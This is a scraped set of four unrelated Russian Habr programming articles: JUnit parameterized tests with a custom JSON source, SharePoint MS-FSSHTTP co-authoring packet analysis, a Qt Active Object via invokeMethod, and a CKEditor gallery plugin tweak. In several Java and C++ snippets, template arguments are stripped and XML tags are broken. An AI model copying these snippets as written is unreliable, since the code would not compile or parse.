@EnumSource(HubType.class)
void handleTest(final HubType type)
```
красиво, декларативно, и все значения нашего enum обязательно будут задействованы при каком-нибудь очередном запуске тестов, у аннотации есть параметры, можем добавлять стратегии на include, exclude.
Но возможно я вас не убедил, что параметризованные тесты — это хорошо. Добавим в
исходный запрос HabrItem новое поле editCount, в которое будет записано количество тысяч раз, которое пользователи Хабра редактируют свою статью, перед тем как запостить, чтоб она вам хоть немного понравилась, и положим что где то в недрах HabrService есть какая то логика, которая делает неведомое что-то, в зависимости от того, насколько попыток автор постарался, что если я не хочу писать 5 или 55 тестов на все возможные варианты editCount, а хочу протестировать декларативно, и где то в одном месте сразу обозначить все значения которые я хотел бы проверить. Нет ничего проще, и воспользовавшись api параметризованных тестов получим в декларации метода что то такое:
```
@ParameterizedTest
@ValueSource(ints = {0, 5, 14, 23})
void handleTest(final int type)
```
Налицо проблема, мы хотим собирать в параметрах тестового метода сразу два значения декларативно, можно использовать еще один прекрасный метод параметризованных тестов @CsvSource, отлично подойдет для того чтоб протестировать несложные параметры, с несложным выходным значением(крайне удобен в тестировании утилитных классов), но что если объект станет гораздо сложней? Скажем, в нем будет порядка 10 полей, причем не только примитивы и джава-типы.
На помощь приходит аннотация @MethodSource, наш тестового метода стал ощутимо короче и в нем нет больше сеттеров, а источник входящего запроса подается в тестовый метод параметром:
```
@ParameterizedTest
@MethodSource("generateSource")
void handleTest(final HabrItem source) {
HabrItem reviewedItem = mock(HabrItem.class);
when(reviewService.makeRewiew(source)).thenReturn(reviewedItem);
when(persistenceService.makePersist(reviewedItem)).thenReturn(1L);
Long actual = habrService.handle(source);
InOrder inOrder = Mockito.inOrder(reviewService, persistenceService);
inOrder.verify(reviewService).makeRewiew(source);
inOrder.verify(persistenceService).makePersist(reviewedItem);
inOrder.verifyNoMoreInteractions();
assertEquals(1L, actual);
}
```
в аннотации @MethodSource указана строка generateSource, что это? это название метода, который соберет для нас нужную модель, его декларация будет выглядеть так:
```
private static Stream generateSource() {
HabrItem habrItem = new HabrItem();
habrItem.setHubType(HubType.JAVA);
habrItem.setEditCount(999L);
return nextStream(() -> habrItem);
}
```
для удобства формирование стрима аргументов nextStream я вынесес в отдельный утилитный тестовый класс:
```
public class CommonTestUtil {
private static final Random RANDOM = new Random();
public static Stream nextStream(final Supplier supplier) {
return Stream.generate(() -> Arguments.of(supplier.get())).limit(nextIntBetween(1, 10));
}
public static int nextIntBetween(final int min, final int max) {
return RANDOM.nextInt(max - min + 1) + min;
}
}
```
Теперь в при запуске теста, в параметр тестового метода декларативно будет добавляться модель запроса HabrItem, причем запускаться тест будет столько раз, сколько аргументов сгененрирует наша тестовая утилита, в нашем случае от 1 до 10.
Это может быть особо удобно, если модель в стриме аргументов собирается не хардкодом, как в нашем примере, а с помощью рандомайзеров.(да здравствует плавающие тесты, но ведь если они есть — есть и проблема).
По моему уже все супер, в тесте теперь описано только поведение наших заглушек, и ожидаемые результаты.
Но вот незадача, в модель HabrItem добавляется новое поле, text, массив строк, которое может быть очень большим или не очень, неважно, главное то, что мы не хотим захламять наши тесты, нам не нужны рандомные данные, мы хотим строго определенную модель, с конкретными данными, собирать ее в тесте или где либо еще — мы не хотим. Было бы круто, если бы можно было взять тело json запроса откуда угодно, например из постмана, сделать на его основе моковый файл и в тесте формировать модель декларативно, указав лишь путь к json файлу с данными.
Отлично. Используем аннотацию @JsonSource, которая будет принимать параметр path, с относительным путем к файлу и целевой класс. Черт! В параметризованных тестах нет такой аннотации, а хотелось бы.
Давайте напишем сами.
Обработкой всех аннотаций идущих в комплекте с @ParametrizedTest в junit занимаются ArgumentsProvider, мы напишем свой собственный JsonArgumentProvider:
```
public class JsonArgumentProvider implements ArgumentsProvider, AnnotationConsumer {
private String path;
private MockDataProvider dataProvider;
private Class clazz;
@Override
public void accept(final JsonSource jsonSource) {
this.path = jsonSource.path();
this.dataProvider = new MockDataProvider(new ObjectMapper());
this.clazz = jsonSource.clazz();
}
@Override
public Stream provideArguments(final ExtensionContext context) {
return nextSingleStream(() -> dataProvider.parseDataObject(path, clazz));
}
}
```
MockDataProvider, это класс, для парсинга моковых json файлов, его реализация крайне простая:
```
public class MockDataProvider {
private static final String PATH_PREFIX = "json/";
private final ObjectMapper objectMapper;
public T parseDataObject(final String name, final Class clazz) {
return objectMapper.readValue(new ClassPathResource(PATH\_PREFIX + name).getInputStream(), clazz);
}
}
```
Моковый провайдер готов, провайдер аргументов для нашей аннотации тоже, осталось добавить саму аннотацию:
```
/**
* Source-аннотация для параметризированных тестов,
* использует в качестве источника json-файл
*/
@Target({ElementType.ANNOTATION_TYPE, ElementType.METHOD})
@Retention(RetentionPolicy.RUNTIME)
@ArgumentsSource(JsonArgumentProvider.class)
public @interface JsonSource {
/**
* Путь к json-файлу, по умолчанию classpath:/json/
*
* @return относительный путь к моковому файлу
*/
String path() default "";
/**
* Целевой тип, к которому будет приведен аргумент в результирующем стриме
*
* @return целевой тип
*/
Class clazz();
}
```
Ура. Наша аннотация готова к употреблению, тестовый метод стал таким:
```
@ParameterizedTest
@JsonSource(path = MOCK_FILE_PATH, clazz = HabrItem.class)
void handleTest(final HabrItem source) {
HabrItem reviewedItem = mock(HabrItem.class);
when(reviewService.makeRewiew(source)).thenReturn(reviewedItem);
when(persistenceService.makePersist(reviewedItem)).thenReturn(1L);
Long actual = habrService.handle(source);
InOrder inOrder = Mockito.inOrder(reviewService, persistenceService);
inOrder.verify(reviewService).makeRewiew(source);
inOrder.verify(persistenceService).makePersist(reviewedItem);
inOrder.verifyNoMoreInteractions();
assertEquals(1L, actual);
}
```
в моковом json мы можем наплодить сколь угодно и очень быстро пачку нужным нам объектов, и нигде отныне нет отвлекающего от сути теста кода, по формированию тестовых данных, конечно часто можно обойтись моками, но далеко не всегда.
Резюмируя, я хотел бы сказать следующее: часто мы работаем как привыкли работать, годами, не задумываясь о том, что некоторые вещи можно сделать красиво и просто, зачастую, используя стандартный api библиотек, которые мы юзаем годами, но не знаем всех их возможностей.
P.S. Статья не является покушением на знание TDD концепций, хотелось накидать тестовые данные походу повествования, чтоб было чуть понятней и интересней. | https://habr.com/ru/post/526406/ | null | ru | null |
# Механизм соавторства в MS Office 2010 + SharePoint 2010: протоколы и пакеты
Механизм соавторства появился с выходом MS Office 2010 и SharePoint 2010. Появившуюся функциональность многие называют как «давно ожидаемую», действительно, приуменьшать удобство её использования смысла нет. Но в данной статье речь пойдет о том, как этот механизм функционирует и какую пользу из этого можно извлечь. Новое поле для деятельности в конце концов!
#### Интересное пользователю
В первую очередь необходимо уделить внимание тому, как выглядит работа механизма соавторства. Исследуя просторы интернета, оказалось, что достаточно подробно это уже сделали, поэтому я не буду повторяться и предлагаю [ознакомиться](http://www.ecm-journal.ru/print/Parallelnoe-redaktirovanie-v-Microsoft-Office-2010---nekotorye-tekhnicheskie-podrobnosti.aspx) самим.
#### Интересное разработчику
Мне было интересно разобраться в том, как соотносятся действия пользователя и формируемые при этом пакеты. Научиться определять действия по пересылаемым пакетам. Это позволило бы собирать информацию по работе пользователей (а в моем случае – сотрудников) на корпоративном портале, написав HTTP Module. Такая информация становится полезной, к примеру, для увеличивая количество конверсий или отслеживании интенсивности работ по подготовки документации. Причем практика показала, что эффективнее и безопаснее прослушивать входящие на сервер пакеты, а не исходящие.
Из-за кэширования документов, задача усложняется тем, что информация на уровне протокола MS-FSSHTTP неоднозначно определяет действия пользователя в некоторых случаях. Например, когда происходит событие открытия документа впервые — идет скачивание документа и по описанию пакета это легко определить, а когда документ открывается вторично, то происходит не скачивание документа, а сравнение его в кэше с документом на сервере при его открытии, хотя семантически эти два события означают начало работы с документом.
Механизм соавторства успешно работает в Word 2010, Excel 2010, OneNote 2010, SharePoint Workspace 2010 c SharePoint Foundation 2010 или SharePoint Server 2010. Это указанно в спецификациях.
##### Протоколы и пакеты
Все сообщение между сервером SharePoint и пользователем MS Office 2010 происходит по средству использования протоколов MS-FSSHTTP (File Synchronization via SOAP over HTTP Protocol Specification) и MS-FSSHTTPB (Binary Requests for File Synchronization via SOAP Protocol Specification).
Для большего удобства сразу приведу ссылки на описание протоколов:
— MSDN о [MS-FSSHTTP](http://msdn.microsoft.com/en-us/library/dd943623.aspx) или [скачать спецификацию по MS-FSSHTTP](http://download.microsoft.com/download/8/5/8/858F2155-D48D-4C68-9205-29460FD7698F/[MS-FSSHTTP].pdf)
— MSDN о [MS-FSSHTTPB](http://msdn.microsoft.com/en-us/library/dd965780.aspx) или [скачать спецификацию по MS-FSSHTTPB](http://download.microsoft.com/download/8/5/8/858F2155-D48D-4C68-9205-29460FD7698F/[MS-FSSHTTPB].pdf)
При обмене пакетами протокол MS-FSSHTTP передает информацию о сущности, с которой начинается работа (её Url), авторе, который приступает к работе с сущностью, режиме работы (Read Only и Edit требуют разного уровня привилегий). MS-FSSHTTP-часть пакета представляет собой XML, что не добавляет этому протоколу какого-то изящества. Подраздлы XML в пакете нумеруются параметром SubRequestToken. Становится возможна проверка целостности пакета при помощи параметра DependsOn. Сама же сущность в рамках протоколов MS-FSSHTTP и MS-FSSHTTPB называется cell.
Структура запроса MS-FSSHTTP укладывается в следующий шаблон:
> `<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
>
> <s:Body>
>
> <RequestVersion …> //Информация о версиях используемого протокола
>
> <RequestCollection …> //Указывается CorrelationID, guid используемый
>
> //для логов на сервере и синхронизации пакетов.
>
> <Request …> //Содержит URL документа
>
> <SubRequest …/> //Определения пакета
>
> SubRequest>
>
> …
>
> Request>
>
> RequestCollection>
>
> s:Body>
>
> s:Envelope>`
Некоторые пояснения к структуре протокола MS-FSSHTTP:
> `<Request Url="http://serverName/documentFullPath" RequestToken="1">`
— обязательная структура пакета протокола, указывающая документ к которому адресован запрос.
> `<SubRequest Type="Coauth" SubRequestToken="1">`
— объявление режима соавторства, во вложенном теге указывается какой тип соавторства используется.
> `<SubRequest Type="SchemaLock" SubRequestToken="2" DependsOn="1" DependencyType="OnNotSupported">`
— указывается наличие блокировки докумената и её тип во вложенном теге. В ответ сервер указывает, начинаете ли вы работу с документом первым или присоединяетесь как соавтор.
> `<SubRequest Type="Cell" SubRequestToken="3">`
— несет непосредственную информацию о изменениях в документе. Содержит в себе MS-FSSHTTPB часть пакета.
> `<SubRequest Type="WhoAmI" SubRequestToken="2"/>`
— информация о пользователе.
Пример MS-FSSHTTP части пакета от пользователя к серверу (request):
Пакет сообщает о том, что идет обращение к документу 2MB.docx по указанному адресу и пользователь готов получить документ. BinaryDataSize указывает длинну значения внутри тега, т.е. MS-FSSHTTPB часть.
> `<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
>
> <s:Body>
>
> <RequestVersion Version="2" MinorVersion="0" xmlns="http://schemas.microsoft.com/sharepoint/soap/"/>
>
> <RequestCollection CorrelationId="{010F340A-ACB5-442C-B11E-95CB877EEBA5}" xmlns="http://schemas.microsoft.com/sharepoint/soap/">
>
> <Request Url="http://moss14/Something/2MB.docx" RequestToken="1">
>
> <SubRequest Type="Cell" SubRequestToken="1">
>
> <SubRequestData PartitionID="383adc0b-e66e-4438-95e6-e39ef9720122" BinaryDataSize="88">
>
> DAALAJzPKfM5lAabBgIAAO4CAACqAiAAfrgx50XdqkSrgAx1+9FTDnoCC
>
> ACUKaEPdwEWAgYAAwUAigICAADaAgYAAwAAygIIAAgAgAOEAEELAawCAFUDAQ==
>
> SubRequestData>
>
> SubRequest>
>
> <SubRequest Type="WhoAmI" SubRequestToken="2"/>
>
> <SubRequest Type="Cell" SubRequestToken="3">
>
> <SubRequestData PartitionID="7808f4dd-2385-49d6-b7ce-37aca5e43602" BinaryDataSize="88">
>
> DAALAJzPKfM5lAabBgIAAO4CAACqAiAAfrgx50XdqkSrgAx1+9FTDnoCC
>
> ACUKaEPdwEWAgYAAwUAigICAADaAgYAAwAAygIIAAgAgAOEAEELAawCAFUDAQ==
>
> SubRequestData>
>
> SubRequest>
>
> <SubRequest Type="ServerTime" SubRequestToken="4"/>
>
> <SubRequest Type="Cell" SubRequestToken="5">
>
> <SubRequestData GetFileProps="true" BinaryDataSize="88">
>
> DAALAJzPKfM5lAabBgIAAO4CAACqAiAAfrgx50XdqkSrgAx1+9FTDnoCC
>
> ACUKaEPdwEWAgYAAwUAigICAADaAgYAAwAAygIIAAgAgAOEAEELAawCAFUDAQ==
>
> SubRequestData>
>
> SubRequest>
>
> Request>
>
> RequestCollection>
>
> s:Body>
>
> s:Envelope>`
##### Исследование пакетов
Изучая спецификации так и не нашелся ответ на то, как определять начало работы с документом. Поэтому необходимо выявленные при анализе пакетов признаки проверить при различных типах и размерах документов, устроить crash-test, иначе трудно назвать любой признак правдивым, а работу оправданной. Поэтому были проанализированы все традиционно используемые форматы при размерах докуметов до 30Мб.
Итоги анализа:
* Максимальный размер пакета не превышает 3Мб, то есть 30Мб файл передается за 10 пакетов.
* Только анализируя MS-FSSHTTP нельзя решить задачу определения открытия документа (из-за работы Upload Center с функцией кэширования), остальные действия определяются.
* Пакеты с MS-FSSHTTP-частью обращаются по ссылке [moss14/\_vti\_bin/cellstorage.svc/CellStorageService](http://moss14/_vti_bin/cellstorage.svc/CellStorageService), остальные не интересны в данной задаче. То есть это будет фильтром для анализа HTTP Request’а.
Пора знакомиться с протоколом MS-FSSHTTPB. Данные представленны в кодировке Base64, а для определения структуры необходимо переводить в HEX и бинарный код. Причем BinaryDataSize равная 88 – это «пустая» MS-FSSHTTPB-часть, чистый шаблон MS-FSSHTTPB запроса. В нем присутствуют все разделы MS-FSSHTTPB запроса, но в разделах нет никакой информации.
Если говорить о распределении ролей между двумя протоколами, то MS-FSSHTTP описывает информацию которая видна снаружи документа, т.е. все что мы сможем узнать не открывая файл, а MS-FSSHTTPB информирует о том, что происходит внутри документа, какие изменения сделаны, в каком месте документа. Таким образом, информация закодированная в MS-FSSHTTPB части пакета позволяет синхронизировать состояния документов у соавторов, передавая только измененные части документа, тем самым значительно снижая нагрузку на сеть. Правда другая реализация, с моей точки зрения, была бы и не логична.
Рассмотрим передаваемую по протоколу MS-FSSHTTB строку, где значенеи BinaryDataSize равно 88.
Исходное значение из XML тега протокола MS-FSSHTTP:
> `DAALAJzPKfM5lAabBgIAAO4CAACqAiAAfrgx50XdqkSrgAx1+9FTDnoCCACUKaEPdwEWAgYAAwUAigICAADaAg
> YAAwAAygIIAAgAgAOEAEELAawCAFUDAQ==`
Декодированный HEX-код (см. Спецификацию MS-FSSHTTPB стр. 71-73):
> `0c 00 0b 00 //Protocol Version + Minimum Version
>
> 9c cf 29 f3 39 94 06 9b //Signature
>
> 06 02 00 00 //CellRequest Start
>
> ee 02 00 00 //User Agent Start
>
> aa 02 20 00 //User Agent GUID
>
> 7e b8 31 e7 45 dd aa 44 ab 80 0c 75 fb d1 53 0e //GUID
>
> 7a 02 08 00 //User Agent Version
>
> 94 29 a1 0f //Version
>
> 77 01 16 02 06 00 //User Agent End + SubRequest Start
>
> 03 05 //Request DI + Request Type
>
> 00 8a 02 02 00 //Priority + Query Changes
>
> 00 da 02 06 00 //Allow Fragments/Reserved + Query Changes Request Argument
>
> 03 00 00 //Include Storage Manifest + Cell ID
>
> ca 02 08 00 //Query Changes Data Constraints
>
> 08 00 80 03 //Maximum Data Element
>
> 84 00 //Knowledge Start
>
> 41 //Knowledge End
>
> 0b 01 ac 02 //SubRequest End + Data Element Packege Start
>
> 00 55 03 01 //Reversed + Data Emlement Packege End + Cell Request End`
Теперь в анализ, проведенный ранее добавляется новая итерация и анализ MS-FSSHTTPB. Лишая читателя удовольствия нудных примеров, привожу результаты анализа:
* 1. Пустой пакет является сигналом о готовности получать документ, а значит помогает определять событие открытия документа с сервера. Ключевой строчкой для фильтрующего request модуля становится:
> `<SubRequestData GetFileProps="true" BinaryDataSize="88">`
однако если документ был закэширован в Upload Center, то BinaryDataSize больше 88, т.е. будет не пустым шаблоном, потому что необходимо проверить документ на валидность. Для определения такого случая был найден другой признак.
* 2. Пакет проверяющий кэшированный документ в Upload Center также содержит строку, указанную в п.1 данного списка. Однако значение параметра BinaryDataSize тем больше, чем больше сверяемый документ из Upload Center.
Для наглядности приведу пример разбора такого пакета.
> `<SubRequestData GetFileProps="true" BinaryDataSize="443">DAALAJzPKfM5lAabBgIAAO4CAACqAiAAfrgx50XdqkSrgAx1+
>
> 9FTDnoCCACUKaEPdwEWAgYAAwUAigICAADaAgYAAwAAygIIAAgAgAOEACYCIAD2NXoyYQc
>
> URJaGUekAZnpNpAB4KCn1koJCYUFHqgOvQEOf2v3CNZY9eCgp9ZKCQmFBR6oDr0BDn9r9r
>
> j3iPngoKfWSgkJhQUeqA69AQ5/a/fo+JkB4KCn1koJCYUFHqgOvQEOf2v0+
>
> QGpBeCgp9ZKCQmFBR6oDr0BDn9r9gkGeQngmRlDki07gDrGjv1Ojie167QDOAngmua8bdL
>
> Ef8U6jv1Ojie167QBmD1ETASYCIAATHwkQgsj7QJiGZTP5NMIdbAFw0Qz5C0E3b9GZRKbD
>
> JyMu3KcRrXsAOAAyADkAMgBGADUAMgA5AC0ANgAxADQAMgAtADQANwA0ADEALQBBAEEAMA
>
> AzAC0AQQBGADQAMAA0ADMAOQBGAEQAQQBGAEQAfQAsADMALAAzAAAAtRMBJgIgAA7pdjoy
>
> gAxNud3zxlApQz5MASAoDLmvG3SxH/FOo79To4nteu1mDwClEwFBCwGsAgBVAwE=SubRequestData>`
Декодированный HEX-код:
> `0c 00 0b 00 //Protocol Version + Minimum Version
>
> 9c cf 29 f3 39 94 06 9b //Signature
>
> 06 02 00 00 //CellRequest Start
>
> ee 02 00 00 //User Agent Start
>
> aa 02 20 00 //User Agent GUID
>
> 7e b8 31 e7 45 dd aa 44 ab 80 0c 75 fb d1 53 0e //GUID
>
> 7a 02 08 00 //User Agent Version
>
> 94 29 a1 0f //Version
>
> 77 01 16 02 06 00 //User Agent End + SubRequest Start
>
> 03 05 //Request DI + Request Type
>
> 00 8a 02 02 00 //Priority + Query Changes
>
> 00 da 02 06 00 //Allow Fragments/Reserved + Query Changes Request Argument
>
> 03 00 00 //Include Storage Manifest + Cell ID
>
> ca 02 08 00 //Query Changes Data Constraints
>
> 08 00 80 03 //Maximum Data Element
>
> 84 00 //Knowledge Start
>
> \\ Обратите внимание, что до этого моменат пакет полностью описывалась выше
>
>
>
> 26 02 20 00 //cell knowledge range
>
> f6 35 7a 32 61 07 14 44 96 86 51 e9 00 66 7a 4d //GUID in cell knowlegde range
>
> a4 00 78 28
>
> 29 f5 92 82 42 61 41 47 aa 03 af 40 43 9f da fd
>
> c2 35 96 3d 78 28
>
> 29 f5 92 82 42 61 41 47 aa 03 af 40 43 9f da fd
>
> ae 3d e2 3e 78 28
>
> 29 f5 92 82 42 61 41 47 aa 03 af 40 43 9f da fd
>
> fa 3e 26 40 78 28
>
> 29 f5 92 82 42 61 41 47 aa 03 af 40 43 9f da fd
>
> 3e 40 6a 41 78 28
>
> 29 f5 92 82 42 61 41 47 aa 03 af 40 43 9f da fd
>
> 82 41 9e 42 78 26 46 50 e4 8b 4e e0 0e b1 a3 bf 53 a3 89 ed 7a ed 00
>
> ce 02 78 26 //Pre DATA
>
> b9 af 1b 74 b1 1f f1 4e a3 bf 53 a3 89 ed 7a ed //GUID before FROM number
>
> 00 66 0f //FROM number
>
> 51 13 01 26 02 20 00 13 1f 09 10 82 c8 fb 40 98 86 65 33 f9 34 c2 1d 6c 01 70 d1 0c f9 0b 41 37 6f d1 99 44 a6 c3 27 23 2e dc a7 11 ad
>
> 7b 00 38 00 32 00 39 00 32 00 46 00 35 00 32 00 39 00 2d 00 36 00 31 00 34 00 32 00 2d 00 34 00 37 00 34 00 31 00 2d 00 41 00 41 00 30 00 33 00 2d 00 41 00 46 00 34 00 30 00 34 00 33 00 39 00 46 00 44 00 41 00 46 00 44 00 7d 00 2c 00 33 00 2c 00 33 00 00 00
>
> b5 13 01 26 02 20 00 0e e9 76 3a 32 80 0c 4d b9 dd f3 c6 50 29 43 3e 4c 01 20 28 0c //DATA changeset
>
> b9 af 1b 74 b1 1f f1 4e a3 bf 53 a3 89 ed 7a ed //GUID before TO number
>
> 66 0f 00 //To number
>
> a5 //Cell range End
>
> 13 01 //Cell End
>
>
>
> // далее пакет соответствует шаблону пустого запроса
>
> 41 //Knowledge End
>
> 0b 01 ac 02 //SubRequest End + Data Element Packege Start
>
> 00 55 03 //Reversed + Data Emlement Packege End + Cell Request End`
Подробнее разобрать содержание cell knowledge range (см спецификацию MS-FSSHTTPB стр. 37) не так просто. Я выделил в составе кода, передоваемого до variable FROM повторяющуюся связку Data + GUID, но она не обязательно присутствует в пакете при небольших размерах проверяемого файла, поэтому такую конструкцию за признак считать нельзя. Что касается семантики такой конструкции, то похожая конструкция описывается в пакетах responce. Можно попытаться объяснить почему в request пакете используются конструкции из responce, но почему описания этих конструкций нет в спецификации request запроса объяснить трудно. Теперь обратим внимание на данные заключенные между variable FROM и variable TO. Именно тут находится краеугольный камень, а именно между словом «7b 00» и «b5 13» содержимое укладывается в регулярное выражение “\w{2}[ 00]”, но не стоит забывать что пробелы поставлены только для повышения читабельности. Этот признак подтвердил себя на всех тестах с документами. Ура товарищи! Но можно не останавливаться и попробовать проникнуть в семантику такой конструкции. Опытный разработчик может заметить, что в таком виде представляются данные с кодировкой UTF-16 (hex). Преобразовав стоку
> `7b 00 38 00 32 00 39 00 32 00 46 00 35 00 32 00 39 00 2d 00 36 00 31 00 34 00 32 00
> 2d 00 34 00 37 00 34 00 31 00 2d 00 41 00 41 00 30 00 33 00 2d 00 41 00 46 00 34 00 30 00 34 00
> 33 00 39 00 46 00 44 00 41 00 46 00 44 00 7d 00 2c 00 33 00 2c 00 33 00 00 00` | https://habr.com/ru/post/101859/ | null | ru | null |
# Размышление об Active Object в контексте Qt6. Часть 2.6
#### Ссылки на статьи
* [Часть 1](https://habr.com/ru/post/709768/)
* [Часть 2](https://habr.com/ru/post/710368/)
* [Часть 2.5](https://habr.com/ru/post/710550/)
* [Часть 2.6](https://habr.com/ru/post/712328/)
* [Часть 3](https://habr.com/ru/post/710656/)
### Предисловие
В [предыдущей](https://habr.com/ru/post/710550/) статье я описал способ вызова слота посредством очереди обработки сигнально-слотовых соединений Qt (она же очередь событий). Но совсем забыл про такую штуку, как QMetaObject::invokeMethod. А ведь эта штука позволяет добиться такого же эффекта (вызов метода в потоке-владельце QObject), но без необходимости создания сигнала.
Реализация
----------
### Самое простое, что можно сделать
Самый простой способ исправить мою оплошность — удалить из класса сигнал, и заменить его излучение вызовом QMetaObject::invokeMethod.
Заголовок
```
class MetaInvokeBasedAsyncQDebugPrinter : public QObject {
private:
Q_OBJECT
class PrinterMessage { /*...*/ };
private:
std::queue m\_messages;
std::mutex m\_mutex;
public:
explicit MetaInvokeBasedAsyncQDebugPrinter(QObject \*parent = nullptr);
QFuture print(const QString& message);
private slots:
void handleNextMessage();
private:
void emplaceTaskInQueue(PrinterMessage&& task);
std::queue takeTaskQueue();
};
```
Как видим, заголовочный файл почти не изменился. Только исчез сигнал, свидетельствовавший о поступлении данных в очередь.
Реализация
```
MetaInvokeBasedAsyncQDebugPrinter::MetaInvokeBasedAsyncQDebugPrinter(QObject *parent)
:QObject{ parent } { }
QFuture MetaInvokeBasedAsyncQDebugPrinter::print(const QString &message) {
auto task = PrinterMessage{ message };
auto future = task.promise().future();
emplaceTaskInQueue(std::move(task));
QMetaObject::invokeMethod(this, &MetaInvokeBasedAsyncQDebugPrinter::handleNextMessage, Qt::ConnectionType::QueuedConnection);
return future;
}
void MetaInvokeBasedAsyncQDebugPrinter::handleNextMessage() {
auto buffer{ takeTaskQueue() };
while(not buffer.empty()) {
qDebug() << buffer.front().message();
buffer.front().promise().finish();
buffer.pop();
}
}
void MetaInvokeBasedAsyncQDebugPrinter::emplaceTaskInQueue(PrinterMessage &&task) {
std::lock\_guard locker{ m\_mutex };
m\_messages.emplace(std::move(task));
}
std::queue MetaInvokeBasedAsyncQDebugPrinter::takeTaskQueue() {
std::queue buffer;
std::lock\_guard locker{ m\_mutex };
m\_messages.swap(buffer);
return buffer;
}
```
На самом деле это — отличный подход. В отличие от варианта с сигналами, он не содержит лишних сущностей, и при этом делает всё тоже самое.
### Немного поиграемся
А теперь почитаем документацию, и увидим, что QMetaObject::invokeMethod позволяет передавать параметры методов, что очень удобно для нас.
И если искушённые читатели думают, что мы сейчас опустимся ~~в развитии~~ до уровня Qt4, и будем использовать строковые литералы и макросы Q\_ARG, то они правы. К сожалению, нормального способа передавать аргументы я не знаю, поэтому воспользуемся несколько некрасивым, зато рабочим и лаконичным.
Это позволит нам в принципе отказаться от очереди, но т.к. вся метаобъектная система Qt построена на десятках тысяч копирований (предполагается, что передаваемые типы либо лёгкие, либо обладают cow-оптимизацией), то небходимо будет обернуть некопируемый PrinterMessage в std::shared\_ptr, дабы тот мог быть передан посредством мета-вызова.
.h-файл
```
class MetaInvokeBasedAsyncQDebugPrinter : public QObject {
private:
Q_OBJECT
class PrinterMessage {
static const bool m_isMetatypeRegistred;
/**/
};
public:
explicit MetaInvokeBasedAsyncQDebugPrinter(QObject *parent = nullptr);
QFuture print(const QString& message);
private slots:
void handleNextMessage(std::shared\_ptr message);
};
```
Отметим, что интерфейс класса сильно упростился. Теперь в нём только конструктор, метод *print*, добавляющий задание на вывод и метод *handleNextMessage*, это задание выполняющий.
Также в классе **PrintMessage** добавляется статическое поле *m\_isMetatypeRegistred*. Это поле нужно, чтобы зарегистрировать **std::shared\_ptr** как тип, доступный для передачи в метасистеме.
Регистрация метатипа std::shared\_ptr
```
const bool MetaInvokeBasedAsyncQDebugPrinter::PrinterMessage::m_isMetatypeRegistred = []() -> bool {
qRegisterMetaType>("std::shared\_ptr");
return true;
}();//тут же происходит вызов лямбды
```
Эта регистрация строится на основе того, что статические поля инициализируются один, и ровно один раз.
Реализация Active object
```
MetaInvokeBasedAsyncQDebugPrinter::MetaInvokeBasedAsyncQDebugPrinter(QObject *parent)
:QObject{ parent } {}
QFuture MetaInvokeBasedAsyncQDebugPrinter::print(const QString &message) {
auto task = std::make\_shared(message);
auto future = task->promise().future();
QMetaObject::invokeMethod(this,
"handleNextMessage",
Qt::ConnectionType::QueuedConnection,
Q\_ARG(std::shared\_ptr, task));
return future;
}
void MetaInvokeBasedAsyncQDebugPrinter::handleNextMessage(std::shared\_ptr message) {
qDebug() << message->message();
message->promise().finish();
}
```
Как видим, всё стало куда проще.
1. Конструктор просто задаёт родителя.
2. handleNextMessage обрабатывает задачу (исключён этап работы с очередью задач)
3. print создаёт задачу, достаёт future на неё, и вызывает QMetaObject::invokeMethod.
Заключение
----------
Таким образом мы пришли к одной из самых лаконичных реализаций Active object, возможных в Qt.
Это не самая быстрая реализация, как раз за счёт копирований std::shared\_ptr в разных потоках, что будет дёргать кучу атомарных переменных с семантикой acquire/release.
Но тем не менее, этой реализации вам более чем хватит для абсолютно любых прикладных задач, где необходим Active object.
Можно дополнительно покопаться в мета-системе Qt, доставать метод-обработчик в классе QMetaMethod, и вызывать его там. Но лично я считаю, что это лишнее. Да и от использования строковых литералов это нас не избавит. | https://habr.com/ru/post/712328/ | null | ru | null |
# CKEditor + jquery.fancybox/prototype.lightbox или вариант простой фотогалереи
В свет вышел релиз CKEditor 3.0.1, значит надо что нибудь добавить :)
Я уже делал подобное совмещение(если это можно так назвать) для прошлой версии, для текущей подобное совсем не составляет труда.
Точнее, непосредственно при редактировании текста делать ссылку -> изображение для открытия без перезагрузки большого изображения, и для контент заполнителей было легко и интуитивно понятно.
Суть метода довольно проста, те кто подключал fancybox или lightbox знают, что необходимо к ссылке ведущей на большое изображение добавить:
— для lightbox rel="lightbox"
— для fancybox не важно что именно, жёсткой привязки у него нету, поэтому на своё усмотрение
Следовательно необходимо в ckeditor добавить возможность добавления необходимых атрибутов.
Я решил поступить следующим образом, так как хотелось больше контролировать ситуацию поэтому:
— для одиночных изображений в class="" добавляется "gallery"
— для массива изобаржений в class="" добавляется "gallerys" и + дополняется атрибутом rel="gallerys"
Добавить функционал довольно просто, берем не упакованный файл из [ckeditor/\_source/plugins/image/dialogs/image.js] заменяем его на соответствующий в [ckeditor/plugins/..]
Открываем и добавляем на стоке 990(на момент написания) перед закрывающейся квадратной скобкой "]" следующий код:
> `,{
> id : 'toGallery',
> type : 'select',
> 'default' : '',
> style: 'margin-top: 15px',
> items :
> [
> [ editor.lang.gallery.notSet , ''],
> [ editor.lang.gallery.single , 'gallery'],
> [ editor.lang.gallery.many , 'gallerys'],
> ],
> setup : function( type, element ) {
> if ( type == LINK ) {
> var a = element.getAttribute('rel');
> if (null == a) {
> this.setValue(element.getAttribute('class'));
> } else {
> this.setValue(element.getAttribute('rel'));
> }
> }
> },
> commit : function(type, element) {
> if (type == LINK) {
> if ( this.getValue() || this.isChanged()) {
> if ('gallery' == this.getValue()) {
> element.setAttribute('class', this.getValue());
> element.removeAttribute('rel');
> } else {
> if ('' == this.getValue()) {
> element.removeAttribute('class', this.getValue());
> element.removeAttribute('rel', this.getValue());
> } else {
> element.setAttribute('class', this.getValue());
> element.setAttribute('rel', this.getValue());
> }
> }
> }
> }
> }
> }`
Теперь необходимо в соответствии с языком добавить соответствующий перевод, открываем к примеру [ckeditor/lang/ru.js] и просто добавляем в конец файла
> `CKEDITOR.lang.ru.gallery = {notSet: 'Не использовать галерею', single: 'Сделать одиночное открытие', many: 'Сделать список галлерей'};`
Сохраняем и вуаля — готово :)
В итоге при вставке изображения в закладке Ссылка(Link) появится выпадающий список:
И конечно для подключения незабудьте добавить соответствующие css/script в head.
